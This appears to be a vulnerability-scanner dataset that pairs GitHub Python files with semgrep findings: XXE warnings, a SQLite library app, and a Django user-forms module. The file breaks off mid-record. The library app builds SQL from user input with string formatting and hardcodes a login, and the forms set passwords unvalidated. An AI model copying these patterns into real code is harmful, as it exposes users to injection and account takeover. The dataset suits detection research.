["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_39703598ee9f174b_d2e251c5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(sys.argv[3])", "location": {"file_path": "unknown", "line_start": 266, "line_end": 266, "column_start": 12, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmp10dxl77l/39703598ee9f174b.py", "start": {"line": 266, "col": 12, "offset": 8251}, "end": {"line": 266, "col": 33, "offset": 8272}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(sys.argv[3])", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_39703598ee9f174b_e3c38cb2", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(sys.argv[4])", "location": {"file_path": "unknown", "line_start": 267, "line_end": 267, "column_start": 15, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmp10dxl77l/39703598ee9f174b.py", "start": {"line": 267, "col": 15, "offset": 8287}, "end": {"line": 267, "col": 36, "offset": 8308}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(sys.argv[4])", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_39703598ee9f174b_5e0c8449", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(sys.argv[5])", "location": {"file_path": "unknown", "line_start": 268, "line_end": 268, "column_start": 15, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmp10dxl77l/39703598ee9f174b.py", "start": {"line": 268, "col": 15, "offset": 8323}, "end": {"line": 268, "col": 36, "offset": 8344}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(sys.argv[5])", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "CWE-611", "CWE-611", "CWE-611", "CWE-611", "CWE-611", "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml-parse", "rules.python.lang.security.use-defused-xml-parse", "rules.python.lang.security.use-defused-xml-parse", "rules.python.lang.security.use-defused-xml-parse", "rules.python.lang.security.use-defused-xml-parse" ]
[ "security", "security", "security", "security", "security", "security" ]
[ "LOW", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 4, 264, 265, 266, 267, 268 ]
[ 4, 264, 265, 266, 267, 268 ]
[ 1, 14, 12, 12, 15, 15 ]
[ 35, 35, 33, 33, 36, 36 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The native Python `xml` library is vulnerable to XML Exter...
[ 7.5, 7.5, 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
alignFGmovesUtts.py
/alignFGmovesUtts.py
GCowderoy/NLP-Preprocessing
MIT
2024-11-18T21:22:38.126725+00:00
1,588,607,610,000
a0451b1a759bf2db7b0fee3f7b78662a8275f235
3
{ "blob_id": "a0451b1a759bf2db7b0fee3f7b78662a8275f235", "branch_name": "refs/heads/master", "committer_date": 1588607610000, "content_id": "e9c9b17995dd20c75b58da4d1b58c5c9202d0194", "detected_licenses": [ "MIT" ], "directory_id": "df24aa0c0effe441473483405cf56030eb454935", "extension": "py", "filename": "app.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 261228534, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2955, "license": "MIT", "license_type": "permissive", "path": "/app.py", "provenance": "stack-edu-0054.json.gz:588095", "repo_name": "ahmetsurucu/libraryAutomation", "revision_date": 1588607610000, "revision_id": "b399354ef864af022b01c964ae92af3f185ae88a", "snapshot_id": "1a4dab64f0cedf8c87be5a8f4a8a395e2d04bde4", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/ahmetsurucu/libraryAutomation/b399354ef864af022b01c964ae92af3f185ae88a/app.py", "visit_date": "2022-06-20T02:09:39.586960" }
3.359375
stackv2
from os import system import sqlite3 import time db = sqlite3.connect("books.sqlite") imlec = db.cursor() imlec.execute("CREATE TABLE IF NOT EXISTS library (author, name)") imlec.execute("CREATE TABLE IF NOT EXISTS users (id, password, isWorker)") class Book(): def __init__(self, name, author): self.name = author self.name = author def addBook(name, author): add = "INSERT INTO library VALUES ('{}', '{}')".format(author, name) imlec.execute(add) db.commit() print("Book is added to the library!") def removeBook(name, author): query = "SELECT * FROM library WHERE name = '{}' and author = '{}'".format(name, author) list = query if query: remove = "DELETE FROM library WHERE name = '{}' AND author = '{}'".format(name, author) imlec.execute(remove) db.commit() print("Book has been removed!") else: print("The book you want to remove is not found!") def workerUI(): while True: system("cls") print(""" [1] Add Book [2] Remove Book """) workerOption = input("Your option: ") if workerOption == "1": name = input("Enter book name: ") author = input("Enter author name: ") addBook(name, author) input("Click 'enter' key to return to main menu!") elif workerOption == "2": name = input("Enter book name: ") author = input("Enter author name: ") removeBook(name, author) input("Click 'enter' key to return to main menu") else: print("Wrong input") input("Click 'enter' key to return main menu") def customerUI(): while True: print(""" [1] Get Book [2] Redeem Book """) customerOption = input("Your option: ") if customerOption == "1": pass # getBook() elif customerOption == "2": pass # redeemBook() else: print("Wrong input") input("Press 'enter' key to leave") while True: system("cls") print(""" ============================== Welcome To Library! ============================== [1] Customer login [2] Worker login """) option = input("Your option: ") if option == "1": pass # customer UI elif option == "2": ID = input("Enter your ID: ") PASSWORD = input("Enter your password: ") if ID == "2222" and PASSWORD == "1234": print("Succesfully logged in!") time.sleep(1) workerUI() else: print("Wrong input") input("Click 'enter' to return to main menu") else: print("Wrong input") print("Click 'enter' to return main menu") input() db.close()
112
24.38
95
14
657
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_040828ede189b15b_59d6d353", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 5, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmp10dxl77l/040828ede189b15b.py", "start": {"line": 17, "col": 5, "offset": 461}, "end": {"line": 17, "col": 23, "offset": 479}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_040828ede189b15b_b8658669", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 5, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmp10dxl77l/040828ede189b15b.py", "start": {"line": 17, "col": 5, "offset": 461}, "end": {"line": 17, "col": 23, "offset": 479}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_040828ede189b15b_0af7132f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmp10dxl77l/040828ede189b15b.py", "start": {"line": 26, "col": 9, "offset": 798}, "end": {"line": 26, "col": 30, "offset": 819}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_040828ede189b15b_85e9e5df", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmp10dxl77l/040828ede189b15b.py", "start": {"line": 26, "col": 9, "offset": 798}, "end": {"line": 26, "col": 30, "offset": 819}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_040828ede189b15b_ec50dca5", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 96, "line_end": 96, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/040828ede189b15b.py", "start": {"line": 96, "col": 13, "offset": 2577}, "end": {"line": 96, "col": 26, "offset": 2590}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
5
true
[ "CWE-89", "CWE-89", "CWE-89", "CWE-89" ]
[ "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "rules.python.lang.security.audit.formatted-sql-query", "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "HIGH", "MEDIUM", "HIGH" ]
[ 17, 17, 26, 26 ]
[ 17, 17, 26, 26 ]
[ 5, 5, 9, 9 ]
[ 23, 23, 30, 30 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected possible formatted SQL query. Use parameterized queries instead.", "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa...
[ 5, 7.5, 5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH" ]
app.py
/app.py
ahmetsurucu/libraryAutomation
MIT
2024-11-18T21:22:41.903149+00:00
1,415,893,622,000
7ca0b19893785d7bb30d479d608a0668c543c21a
2
{ "blob_id": "7ca0b19893785d7bb30d479d608a0668c543c21a", "branch_name": "refs/heads/master", "committer_date": 1415893622000, "content_id": "765cb7f101dda7bae2fbb10a12104c9273a75968", "detected_licenses": [ "MIT" ], "directory_id": "19a2c01ff95e6ed72b53b1addd6a1d3f27f1a0da", "extension": "py", "filename": "forms.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8115, "license": "MIT", "license_type": "permissive", "path": "/django_project/custom_user/forms.py", "provenance": "stack-edu-0054.json.gz:588141", "repo_name": "gokulmenon/shiny-ironman", "revision_date": 1415893622000, "revision_id": "db50daf0986adc6406f87d58b13688d967a93a85", "snapshot_id": "3f85d4643d43751c5212009f65ca22f0f08370fb", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/gokulmenon/shiny-ironman/db50daf0986adc6406f87d58b13688d967a93a85/django_project/custom_user/forms.py", "visit_date": "2020-12-11T07:47:48.319277" }
2.4375
stackv2
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django import forms from django.conf import settings from django.contrib.auth.forms import ReadOnlyPasswordHashField from django.utils.translation import ugettext_lazy as _ from disposable_email_checker import DisposableEmailChecker from .models import User RESERVED_username_LIST = r'^%s$' % getattr(settings, "RESERVED_username_LIST", '') class UserCreationForm(forms.ModelForm): """ A form that creates a user, with no privileges, from the given username, username and password. """ error_messages = { 'duplicate_email': _("A user with that email already exists."), 'duplicate_username': _("A user with that username already exists."), 'reserved_username': _("That username cannot be used."), } username = forms.RegexField(label=_("Username"), max_length=30, regex='^\w+$', widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': _("Username"), 'required': ''}), help_text=_("Required. 30 characters or fewer. Letters, digits and " "@/./+/-/_ only."), error_messages={ 'invalid': _("This value may contain only letters and numbers.")}) email = forms.EmailField( label=_("E-mail"), max_length=75, widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': _("E-mail"), 'required': ''}), help_text=_("Required. Valid active e-mail addresses only."), error_messages={ 'invalid': _("This value may contain only valid e-mail addresses only.")}) password = forms.CharField(label=_("password"), widget=forms.PasswordInput(attrs={'class': 'form-control', 'placeholder': _("Password"), 'required': ''})) class Meta: model = User fields = ("username", "email", "password") def clean_username(self): # Since User.username is unique, this check is redundant, # but it sets a nicer error message than the ORM. See #13147. username = self.cleaned_data["username"] if username in RESERVED_username_LIST: raise forms.ValidationError(self.error_messages['reserved_username']) try: User._default_manager.get(username=username) except User.DoesNotExist: return username raise forms.ValidationError(self.error_messages['duplicate_username']) def clean_email(self): # Since User.username is unique, this check is redundant, # but it sets a nicer error message than the ORM. See #13147. email = self.cleaned_data["email"] email_checker = DisposableEmailChecker() if email_checker.is_disposable(email): raise forms.ValidationError(_("Registration using disposable email addresses is prohibited. \ Please supply a different email address.")) try: User._default_manager.get(email=email) except User.DoesNotExist: return email raise forms.ValidationError(self.error_messages['duplicate_email']) def save(self, commit=True): user = super(UserCreationForm, self).save(commit=False) user.set_password(self.cleaned_data["password"]) if commit: user.save() return user class UserChangeForm(forms.ModelForm): error_messages = { 'invalid_username': _("That username cannot be used."), } username = forms.CharField( label=_("Username"), max_length=30, help_text=_("Required. 30 characters or fewer. Letters and digits only."), error_messages={ 'invalid': _("This value may contain only letters, numbers and " "@/./+/-/_ characters.")}) email = forms.EmailField(label=_("E-mail"), max_length=75) password = ReadOnlyPasswordHashField(label=_("Password"), help_text=_("Raw passwords are not stored, so there is no way to see " "this user's password, but you can change the password " "using <a href=\"password/\">this form</a>.")) about = forms.CharField( label=_("About"), max_length=500, required=False, widget=forms.Textarea(attrs={'placeholder': _('About'), 'class': 'form-control', 'style': 'resize: none;'})) class Meta: model = User def __init__(self, *args, **kwargs): super(UserChangeForm, self).__init__(*args, **kwargs) f = self.fields.get('user_permissions', None) if f is not None: f.queryset = f.queryset.select_related('content_type') def clean_email(self): # Since User.username is unique, this check is redundant, # but it sets a nicer error message than the ORM. See #13147. email = self.cleaned_data["email"] email_checker = DisposableEmailChecker() if email_checker.is_disposable(email): raise forms.ValidationError(_("Registration using disposable email addresses is prohibited. \ Please supply a different email address.")) return email def clean_username(self): # Since User.username is unique, this check is redundant, # but it sets a nicer error message than the ORM. See #13147. username = self.cleaned_data["username"] if username in RESERVED_username_LIST: raise forms.ValidationError(self.error_messages['invalid_username']) return username def clean_password(self): # Regardless of what the user provides, return the initial value. # This is done here, rather than on the field, because the # field does not have access to the initial value return self.initial["password"] class SimpleUserChangeForm(forms.ModelForm): error_messages = { 'invalid_username': "Error in clean_username", } image = forms.ImageField( label=_("Image"), max_length=200, required=False) username = forms.RegexField( label=_("Username"), max_length=30, regex='^\w+$', widget=forms.TextInput(attrs={'placeholder': _('Username'), 'class': 'form-control'}), help_text=_("Required. 30 characters or fewer. Letters, digits and " "@/./+/-/_ only."), error_messages={ 'invalid': _("This value may contain only letters, numbers and " "@/./+/-/_ characters.")}) about = forms.CharField( label=_("About"), max_length=500, required=False, widget=forms.Textarea(attrs={'placeholder': _('About'), 'class': 'form-control', 'style': 'resize: none;'})) class Meta: model = User fields = ['image', 'username', 'username', 'about'] def __init__(self, *args, **kwargs): super(SimpleUserChangeForm, self).__init__(*args, **kwargs) f = self.fields.get('user_permissions', None) if f is not None: f.queryset = f.queryset.select_related('content_type') def clean_username(self): # Since User.username is unique, this check is redundant, # but it sets a nicer error message than the ORM. See #13147. username = self.cleaned_data["username"] if username in RESERVED_username_LIST: raise forms.ValidationError(self.error_messages['invalid_username']) return username def clean_image(self): image = self.cleaned_data.get('image',False) if image: if image.size > 1048576:# 1MB = 1024*1024 raise forms.ValidationError(_("Image file too large ( > 1 MB )")) return image class RegistrationForm(UserCreationForm): tos = forms.BooleanField(widget=forms.CheckboxInput, label=_(u'I have read and agree to the Terms of Service'), error_messages={'required': _("You must agree to the terms to register")})
196
40.41
116
17
1,645
python
[{"finding_id": "semgrep_rules.python.django.security.audit.unvalidated-password_79419009a9162821_0abaf4c6", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.unvalidated-password", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The password on 'user' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "remediation": "if django.contrib.auth.password_validation.validate_password(self.cleaned_data[\"password\"], user=user):\n user.set_password(self.cleaned_data[\"password\"])", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 9, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-521: Weak Password Requirements", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2021 - Identification and Authentication Failures", "references": [{"url": "https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.unvalidated-password", "path": "/tmp/tmp10dxl77l/79419009a9162821.py", "start": {"line": 84, "col": 9, "offset": 3417}, "end": {"line": 84, "col": 57, "offset": 3465}, "extra": {"message": "The password on 'user' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "fix": "if django.contrib.auth.password_validation.validate_password(self.cleaned_data[\"password\"], user=user):\n user.set_password(self.cleaned_data[\"password\"])", "metadata": {"cwe": ["CWE-521: Weak Password Requirements"], "owasp": ["A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation"], "category": "security", "technology": ["django"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, 